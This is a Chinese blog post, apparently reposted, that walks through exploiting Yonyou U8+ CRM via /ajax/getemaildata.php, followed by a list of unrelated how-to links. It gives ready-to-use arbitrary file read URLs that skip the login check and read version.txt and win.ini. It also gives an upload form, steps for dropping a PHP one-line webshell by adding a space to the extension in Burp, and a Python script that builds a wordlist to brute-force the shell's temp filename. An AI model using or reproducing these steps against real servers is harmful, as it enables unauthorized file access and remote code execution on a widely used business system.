用友U8+ CRM任意文件上传、任意文件读取

神丶上单

2024-04-24 帮助1人

用友CRM系统，使用量非常广,这里存在任意文件读取漏洞、任意文件上传漏洞

学新通

任意文件读取

存在漏洞的文件为：

/ajax/getemaildata.php

访问http://IP:端口/ajax/getemaildata.php?DontCheckLogin=1&filePath=../version.txt

可以看到用友版本7.2 patch2

访问http://IP:端口/ajax/getemaildata.php?DontCheckLogin=1&filePath=c:/windows/win.ini

可以看到C://windows/win.ini

学新通

任意文件上传

首先构造一个文件上传的页面

<html>

<form action="http://IP:端口//ajax/getemaildata.php?DontCheckLogin=1" method="post" enctype ="multipart/form-data"> 

  <input type="file" name="file" /> 

  <input type="submit" name="upload" value="upload"/>

</form>

</html>

选择php一句话木马

学新通

打开burp进行抓包，在文件上传的后缀名处添加一个空格

学新通

返回的tmpfile\\mht3AC8.tmp.mht即为木马地址，访问http://IP:端口/tmpfile//mht3AC8.tmp.mht即可看到未解析的马。木马的位置为tmpfile/upd****.tmp.php，将前面的mht改为upd，将后面的mht改为php

学新通

抓包，将其放到爆破工具里，爆破中间的3AC8，范围是从0000~FFFF，共65536个

学新通

生成字典的脚本如下：

with open('1.txt', 'w') as f:
    for i in range(0x10000):
        f.write(format(i, '04X')   '\n')

该脚本会在当前目录下生成1.txt

学新通

成功访问到马

学新通

这篇好文章是转载于：学新通技术网

用友U8+ CRM任意文件上传、任意文件读取

任意文件读取

任意文件上传

photoshop保存的图片太大微信发不了怎么办

《学习通》视频自动暂停处理方法

word里面弄一个表格后上面的标题会跑到下面怎么办

Android 11 保存文件到外部存储，并分享文件

photoshop扩展功能面板显示灰色怎么办

微信公众号没有声音提示怎么办

excel下划线不显示怎么办

excel打印预览压线压字怎么办

TikTok加速器哪个好免费的TK加速器推荐

怎样阻止微信小程序自动打开